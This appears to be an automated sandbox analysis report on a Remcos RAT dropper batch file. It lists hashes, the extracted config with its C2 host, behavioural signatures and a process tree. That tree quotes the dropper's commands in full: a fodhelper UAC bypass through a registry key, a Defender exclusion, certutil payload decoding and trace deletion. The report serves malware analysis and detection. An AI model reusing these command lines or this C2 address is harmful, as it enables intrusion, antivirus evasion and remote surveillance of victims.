Analysis

  • max time kernel
    146s
  • max time network
    133s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    15/03/2024, 02:09

General

  • Target

    3d215c4d4389a74f8aba1429cddfba6aaa12b6e15347a12dd01086620bdef55d.bat

  • Size

    3.9MB

  • MD5

    43577686402a5da1e79dbf15d84e721c

  • SHA1

    ee4958a66d48d321f941813c05b29072c0d68968

  • SHA256

    3d215c4d4389a74f8aba1429cddfba6aaa12b6e15347a12dd01086620bdef55d

  • SHA512

    afcc0f14fadc6d3c03e5dd7b45fffab78cddab7624ad7938cf324a56e35ca5170a1ce84dfacc932d875d3599e2600e006984bc593231134c362f08358f8f8426

  • SSDEEP

    49152:OBHEIE8fhpytc5M7ZvRd5A81rmvyuZZpqdZWG4s3pU6C:Q

Malware Config

Extracted

Family

remcos

Botnet

JIMBO

C2

jimboss.ydns.eu:6991

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-ZH3F07

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 14 IoCs
  • ModiLoader Second Stage 1 IoCs
  • Executes dropped EXE 19 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 2 IoCs
  • Modifies registry class 5 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\3d215c4d4389a74f8aba1429cddfba6aaa12b6e15347a12dd01086620bdef55d.bat"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2768
    • C:\Windows\system32\cmd.exe
      cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2636
      • C:\Windows\system32\extrac32.exe
        extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
        3⤵
          PID:2240
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2896
        • C:\Windows\system32\extrac32.exe
          extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
          3⤵
            PID:3048
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2688
          • C:\Windows\system32\extrac32.exe
            extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            3⤵
              PID:2452
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2560
            • C:\Users\Public\xkn.exe
              C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2580
              • C:\Users\Public\alpha.exe
                "C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:2628
                • C:\Windows\system32\reg.exe
                  reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                  5⤵
                  • Modifies registry class
                  • Modifies registry key
                  PID:2396
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\3d215c4d4389a74f8aba1429cddfba6aaa12b6e15347a12dd01086620bdef55d.bat" "C:\\Users\\Public\\Lewxa.txt" 9
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2672
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\3d215c4d4389a74f8aba1429cddfba6aaa12b6e15347a12dd01086620bdef55d.bat" "C:\\Users\\Public\\Lewxa.txt" 9
              3⤵
              • Executes dropped EXE
              PID:2384
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2532
            • C:\Users\Public\kn.exe
              C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
              3⤵
              • Executes dropped EXE
              PID:2472
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c PING -n 3 127.0.0.1
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2356
            • C:\Windows\system32\PING.EXE
              PING -n 3 127.0.0.1
              3⤵
              • Runs ping.exe
              PID:2380
          • C:\Users\Public\Libraries\Lewxa.com
            C:\\Users\\Public\\Libraries\\Lewxa.com
            2⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:2772
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c mkdir "\\?\C:\Windows "
              3⤵
                PID:1680
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c mkdir "\\?\C:\Windows \System32"
                3⤵
                  PID:1512
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c "C:\Windows \System32\4567981.exe"
                  3⤵
                    PID:1920
                    • C:\Windows \System32\4567981.exe
                      "C:\Windows \System32\4567981.exe"
                      4⤵
                      • Executes dropped EXE
                      PID:788
                    • C:\Windows \System32\4567981.exe
                      "C:\Windows \System32\4567981.exe"
                      4⤵
                      • Executes dropped EXE
                      PID:568
                  • C:\Windows\SysWOW64\extrac32.exe
                    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Dmyqmmny.PIF
                    3⤵
                      PID:2712
                    • C:\Windows\SysWOW64\colorcpl.exe
                      C:\Windows\System32\colorcpl.exe
                      3⤵
                      • Suspicious use of SetWindowsHookEx
                      PID:1564
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:2864
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:2972
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:588
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
                    2⤵
                    • Executes dropped EXE
                    PID:2336
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                    2⤵
                    • Executes dropped EXE
                    PID:1856
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM SystemSettings.exe
                      3⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1168
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
                    2⤵
                    • Executes dropped EXE
                    PID:2552
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM SystemSettingsAdminFlows.exe
                      3⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2676
                  • C:\Windows\system32\cmd.exe
                    cmd /c del "C:\Users\Public\alpha.exe" / A / F / Q / S
                    2⤵
                      PID:1048

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Users\Public\Lewxa.txt

                          Filesize

                          354KB

                          MD5

                          ab25cc3200099887a00f556c3db1b44d

                          SHA1

                          05a3af580abd669324bf8b8fdfba312d21daaba3

                          SHA256

                          26cecb711d50a4af23690ec4da3e37de1a3c4b47e830911b1902d29fbcfe1d30

                          SHA512

                          da262db6bd0653afcb62665f877082c07ab43e259a8500b7f19b66faa63d1ca662354619e28016be5ab9c6980e096e03b047e6a6f3abd9e858585bcda7375b4a

                        • C:\Users\Public\Libraries\Lewxa.com

                          Filesize

                          1.4MB

                          MD5

                          0cfbfb72e2a41e9afe243100cb307aff

                          SHA1

                          608008aaa63a713f930569a93262991d8d1f10f7

                          SHA256

                          0c6db5d151c4018215f8d5c6c783738121316a8da949895a0c31e41b38bdc6eb

                          SHA512

                          e5034bbe7cca21d6720778f74a151989d910c3d5dcb8304b29390a30261129b0fbcaf60752f4de48f95df167309ebf8208eb95924169d61db6df9e8256d5f788

                        • C:\Users\Public\alpha.exe

                          Filesize

                          5KB

                          MD5

                          ece55f6602aa8fc86199ee4c837f7204

                          SHA1

                          2a8897053ac5dd20df8f14b6cd526a72c1f0e3f1

                          SHA256

                          878414fcef97bbcba605102bd3c9c0d5a661e08aaa5a90f1b14cdd7c58bd955c

                          SHA512

                          441ba8da93ec35a9f300fd7b280c1050be0876979eebef669817a3dc548f532ffc6aa1d9645619a6d6ebed9ca06c22fdbb465a647618d91a2b799f583fbcb119

                        • C:\Users\Public\alpha.exe

                          Filesize

                          45KB

                          MD5

                          fdaa85a1a64f20a1e905f083613d4052

                          SHA1

                          35bf7d67f5425bae04abf5facc60fb032ed9491f

                          SHA256

                          27567540c79036097e18598b80e0a04bfbb4265256e93404cc55723d3306c0d9

                          SHA512

                          c137ddc06ee119ff2336e0344d99773751514aaab871039eb2358028864cba808dd0f6a3e07c8fae14b9abecdb39905200c2378703aa562af26769283a8dcea7

                        • C:\Users\Public\kn.exe

                          Filesize

                          502KB

                          MD5

                          9158fa6dd02e8dda8a9e3ca4cfe95ed8

                          SHA1

                          1280bee61cd38401a9ca87426992399b3f8b5166

                          SHA256

                          423d7b239368f6c35de82aa7885439ee7a25b90a9387496df991d6fb12868f76

                          SHA512

                          629b5c5c026f7fcff23041d085331b9c052d286be6d5e2b65e16d6e39bae0c560388dc3f2964043344a37e6dd2853845ccb3a08b1513939b63ebd15e1e0e999c

                        • C:\Users\Public\kn.exe

                          Filesize

                          487KB

                          MD5

                          32c686de5a4a5f3bbed9830fa4384996

                          SHA1

                          80b25a98b820819df0efda4c4c1fae5d293d6b54

                          SHA256

                          46cf769035bc87428f6fa5fb1d8f282f26c302d9d174338bc034b0b5bafe75c5

                          SHA512

                          beadc3d04bda3d84f3c7e25cbb2cb987901677633b7c773e1dcd969dc1630cfd556f0834eafc78150b972d36ffc77cd03c3c581006ae0837cc82f4e2b7dd3216

                        • C:\Users\Public\kn.exe

                          Filesize

                          529KB

                          MD5

                          63a77d15e0a7f7c0e94f54d5f738e4c9

                          SHA1

                          1c55465b88854f808e3adc22281274d0dd755273

                          SHA256

                          d28a3fd6b49475d030c69d04e68a447d724392ab0c826a858d84a79fd3931484

                          SHA512

                          cc852b1da0dc06967c849961be461438883bc69b3f7bd30f0c40b3d1326e56345548426ef59151f74d19a3b7bc99ca2603a4ef9d90ce02856eadf0e46e745e9f

                        • C:\Users\Public\kn.exe

                          Filesize

                          1.1MB

                          MD5

                          ec1fd3050dbc40ec7e87ab99c7ca0b03

                          SHA1

                          ae7fdfc29f4ef31e38ebf381e61b503038b5cb35

                          SHA256

                          1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3

                          SHA512

                          4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

                        • C:\Windows \System32\4567981.exe

                          Filesize

                          128KB

                          MD5

                          231ce1e1d7d98b44371ffff407d68b59

                          SHA1

                          25510d0f6353dbf0c9f72fc880de7585e34b28ff

                          SHA256

                          30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96

                          SHA512

                          520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

                        • \Users\Public\alpha.exe

                          Filesize

                          35KB

                          MD5

                          c0607f5927f7d428dee8d97390de2d0a

                          SHA1

                          1e8689ad13221ac8bee3cbd9204041936ec0560a

                          SHA256

                          abba9655a3b2867ecedce290bd18a6662d612ba1860f8415352f318dd64e5455

                          SHA512

                          2724bb68ccf8a0598af05088fece9adae8990912156bbcccb7cf089fdf3a1bb164cbed20c2740301ca2811f3244061dbf17e752c12c958c0427c23cf6a226f22

                        • \Users\Public\alpha.exe

                          Filesize

                          337KB

                          MD5

                          5746bd7e255dd6a8afa06f7c42c1ba41

                          SHA1

                          0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

                          SHA256

                          db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

                          SHA512

                          3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

                        • \Users\Public\kn.exe

                          Filesize

                          818KB

                          MD5

                          0479d760921522052c13518e67bf09fb

                          SHA1

                          99b2f2e8be5443109a1c750dc224af1a490b949d

                          SHA256

                          df6172097c35b702886da6b924be5bb8be153d29c7e1e0e97c6756e55cb28f3a

                          SHA512

                          5ede91a0456344d359e00bf342c6364a6713ec93e709f92dfda9c82d7cc37ca60fb17283f2335193c4bcfd9e8b33b61453723a4e749aa07421cbaf44f276934e

                        • \Users\Public\xkn.exe

                          Filesize

                          462KB

                          MD5

                          852d67a27e454bd389fa7f02a8cbe23f

                          SHA1

                          5330fedad485e0e4c23b2abe1075a1f984fde9fc

                          SHA256

                          a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

                          SHA512

                          327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

                        • memory/1564-108-0x00000000009B0000-0x00000000019B0000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1564-106-0x00000000009B0000-0x00000000019B0000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1564-113-0x00000000009B0000-0x00000000019B0000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1564-114-0x00000000009B0000-0x00000000019B0000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1564-115-0x00000000009B0000-0x00000000019B0000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1564-116-0x00000000009B0000-0x00000000019B0000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1564-102-0x00000000009B0000-0x00000000019B0000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1564-118-0x00000000009B0000-0x00000000019B0000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1564-117-0x00000000009B0000-0x00000000019B0000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1564-107-0x00000000009B0000-0x00000000019B0000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1564-109-0x00000000009B0000-0x00000000019B0000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1564-105-0x00000000009B0000-0x00000000019B0000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1564-104-0x00000000009B0000-0x00000000019B0000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1564-112-0x00000000009B0000-0x00000000019B0000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/1920-85-0x0000000002280000-0x0000000002281000-memory.dmp

                          Filesize

                          4KB

                        • memory/2580-31-0x0000000002730000-0x00000000027B0000-memory.dmp

                          Filesize

                          512KB

                        • memory/2580-23-0x0000000002730000-0x00000000027B0000-memory.dmp

                          Filesize

                          512KB

                        • memory/2580-20-0x000000001B130000-0x000000001B412000-memory.dmp

                          Filesize

                          2.9MB

                        • memory/2580-21-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

                          Filesize

                          32KB

                        • memory/2580-22-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

                          Filesize

                          9.6MB

                        • memory/2580-24-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

                          Filesize

                          9.6MB

                        • memory/2580-32-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

                          Filesize

                          9.6MB

                        • memory/2580-28-0x0000000002730000-0x00000000027B0000-memory.dmp

                          Filesize

                          512KB

                        • memory/2580-25-0x0000000002730000-0x00000000027B0000-memory.dmp

                          Filesize

                          512KB

                        • memory/2772-48-0x0000000000220000-0x0000000000221000-memory.dmp

                          Filesize

                          4KB

                        • memory/2772-59-0x0000000000400000-0x0000000000572000-memory.dmp

                          Filesize

                          1.4MB

                        • memory/2772-54-0x0000000002D80000-0x0000000003D80000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/2772-56-0x0000000002D80000-0x0000000003D80000-memory.dmp

                          Filesize

                          16.0MB

                        • memory/2772-58-0x0000000000220000-0x0000000000221000-memory.dmp

                          Filesize

                          4KB